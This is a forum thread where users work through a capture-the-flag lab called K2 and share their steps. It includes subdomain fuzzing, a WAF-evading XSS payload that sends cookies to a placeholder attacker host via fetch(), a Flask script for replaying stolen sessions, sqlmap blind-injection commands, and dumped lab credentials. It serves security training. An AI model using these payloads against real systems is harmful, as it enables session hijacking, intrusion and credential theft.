K2 Discussion [WRITE-UP]

Let’s talk about K2.

I found = (but no success)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
i found this email =

jane@untitled.tld
You could try exploiting OpenSSH 8.2p1 vulnerabilities CVE-2023-38408
Frameable response (potential Clickjacking)
Unencrypted communications
[Vulners] Software detected
/static/js/jquery.min.js
Path-relative style sheet import :no_good_man:

there are 2 subdomains, admin.k2.thm and it.k2.thm, you can sign up on it.k2.thm. The form is vulnerable to xss and you can steal cookies and bypass the WAF by using this payload :

<script>var+doc+%3d+window['document']%3bvar+cookie+%3d+doc['co'+%2b+'okie']%3bfetch('http%3a//YOUR_IP%3aYOUR_PORT%3fcookie%3d'+%2b+cookie)%3b</script>

The cookies captured seems to change every 2 secondes but none of them works neither on admin.k2.thm nor on it.k2.thm

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.215.98 - - [28/Sep/2024 09:47:02] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfChg.e-duzpH9xiUNmxH61v7Wu5woPZU HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:04] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCiA.QoWx4iD7W98uctXCH9rL0tKO4As HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:06] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCig.K4H5MTjiw2AMit71bf5jy3QM6gI HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:08] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCjA.pJrzO00PsheJcj6GNJI1p-RqXuw HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:10] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCjg.wwwASuX3fbW4UrgKbegNoAa3PPk HTTP/1.1" 200 -

This is the captured JWT token which does not have an alg header and weirdly formated.

Can’t you just use the session cookie instead of decoding it? I don’t think it’ll invalidate the session cookie after two seconds, it’s just creating a new one.

None of these session tokens work as I said neither on admin.k2.thm nor on it.k2.thm I tried manipulating the tokens by editing the fields but it doesn’t work.

I don’t know too if these session tokens are for admin or for ìt, if it’s for it then they’re expiring as the Expiry value on the session is set to Session

Then maybe it’s invalidating. Try to create a script that listens for port 80 and sends a request using the cookie as soon as it gets the session cookie

Something like that:

from flask import Flask, request
import requests

app = Flask(__name__)

# Target URL to send the request with the session cookie
target_url = 'http://example.com/target-page'

@app.route('/', methods=['GET', 'POST'])
def capture_cookie():
    # Capture the session cookie from the incoming request
    session_cookie = request.cookies.get('session')  # Adjust 'session' based on the cookie name

    if session_cookie:
        print(f"Session cookie found: {session_cookie}")

        # Prepare the cookies dictionary
        cookies = {
            'session': session_cookie  # Adjust the key based on the actual cookie name
        }

        # Send a GET request with the session cookie
        response = requests.get(target_url, cookies=cookies)

        # Print the response from the server
        print(f"Request sent to {target_url}")
        print("Status Code:", response.status_code)
        print("Response Body:", response.text[:500])  # Print first 500 characters of the response

        return "Session cookie captured and request sent", 200
    else:
        return "No session cookie found", 400

if __name__ == '__main__':
    # Run Flask app on port 80
    app.run(host='0.0.0.0', port=80)

Okey so I figured it out.

Once a token is received on the python web server terminal we need to set up the session token on admin.k2.thm and go to http://admin.k2.thm/dashboard without refreshing nor doing anything.

Nice! I don’t have access to the challenge. If you find anything new, please share it so others can get help

1 Like

title parameter is SQL injectable at http://admin.k2.thm/dashboard

$ sqlmap -r titles.fuzz --dbs --risk=3 --level=5 --dbms=mysql --technique=B --threads=10 --no-cast -D ticketsite --tables --dump-all
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.8.5#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: title (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: title=FUZZ' AND 1916=(SELECT (CASE WHEN (1916=1916) THEN 1916 ELSE (SELECT 3864 UNION SELECT 6623) END))-- -
---

available databases [3]:
[*] information_schema
[*] performance_schema
[*] ticketsite

Retrieved one useful database : ticketsite

Couldn’t fetch tables so far the WAF is doing its job. Looking into it.

Okey, I retrieved the table name : tickets

found the columns :

[12:44:18] [INFO] retrieved: id                                                                                                          
[12:44:18] [INFO] retrieved: description                                                                                                 
[12:44:18] [INFO] retrieved: title   

3 columns are available, dumping data right now.

Well, this might be a rabbit hole…

Database: ticketsite
Table: tickets
[3 entries]
+----+----------+---------------------------+
| id | title    | description               |
+----+----------+---------------------------+
| 1  | help     | my computer won't start   |
| 2  | help     | what is my password?      |
| 3  | i got it | 8675309 is jenny's number |
+----+----------+---------------------------+

Try users table. It may exist.

Sqlmap is fetching tables from a wordlist because of the WAF the wordlist used at first should contain users but I’m trying a bigger one.

[13:12:46] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] y
which common tables (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-tables.txt' (press Enter)
[2] custom
> 2
what's the custom common tables file location?
/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[13:13:08] [INFO] performing table existence using items from '/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt'
[13:13:08] [INFO] adding words used on web page to the check list
[13:13:08] [INFO] checking database 'ticketsite'
[13:13:08] [INFO] starting 10 threads
[13:15:48] [INFO] retrieved: tickets   
[13:15:48] [INFO] tried 2434/63096 items (4%)

“I was so far down a rabbit hole. How did you find the subdomains? What wordlist did you use?” Thank you for sharing!

This is the command I used for subdomains.

$ ffuf -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt -u http://k2.thm/ -H "Host: FUZZ.k2.thm" -fs 13229

Don’t forget to add k2.thm to your /etc/hosts and add all others (admin and it) once u find them too.

1 Like

Thank you so much! I’m still learning :grin:

1 Like

My pleasure we all started there!

Okey so, i found the table name using manual SQLi, which is called admin_auth using Sqlmap to fetch columns i got these :

[14:04:42] [INFO] retrieved: id                                                                                                          
[14:04:43] [INFO] retrieved: description                                                                                                 
[14:04:43] [INFO] retrieved: title                                                                                                       
[14:04:44] [INFO] retrieved: email                                                                                                       
[14:05:45] [INFO] retrieved: admin_password                                                                                              
[14:05:47] [INFO] retrieved: admin_username 

I’m dumping data at the moment.

Here is the command I’m using :

$ sqlmap -r titles.fuzz --dbs --risk=3 --level=5 --dbms=mysql --technique=B --threads=10 --no-cast -D ticketsite -T admin_auth --dump

Here you go!

Database: ticketsite
Table: admin_auth
[7 entries]
+----+--------------+-------+---------------+------------------+----------------+
| id | email        | title | description   | admin_password   | admin_username |
+----+--------------+-------+---------------+------------------+----------------+
| 1  | james@k2.thm |       |               | Pwd@9tLNrC3!     | james          |
| 2  | rose@k2.thm  |       |               | VrMAogdfxW!9     | rose           |
| 3  | bob@k2.thm   |       |               | PasSW0Rd321      | bob            |
| 4  | steve@k2.thm |       |               | St3veRoxx32      | steve          |
| 5  | cait@k2.thm  |       |               | PartyAlLDaY!32   | cait           |
| 6  | xu@k2.thm    |       |               | L0v3MyDog!3!     | xu             |
| 7  | ash@k2.thm   |       |               | PikAchu!IshoesU! | ash            |
+----+--------------+-------+---------------+------------------+----------------+

You are killing it! :boom:.

Now, one of them may be valid SSH credentials. Is it?

1 Like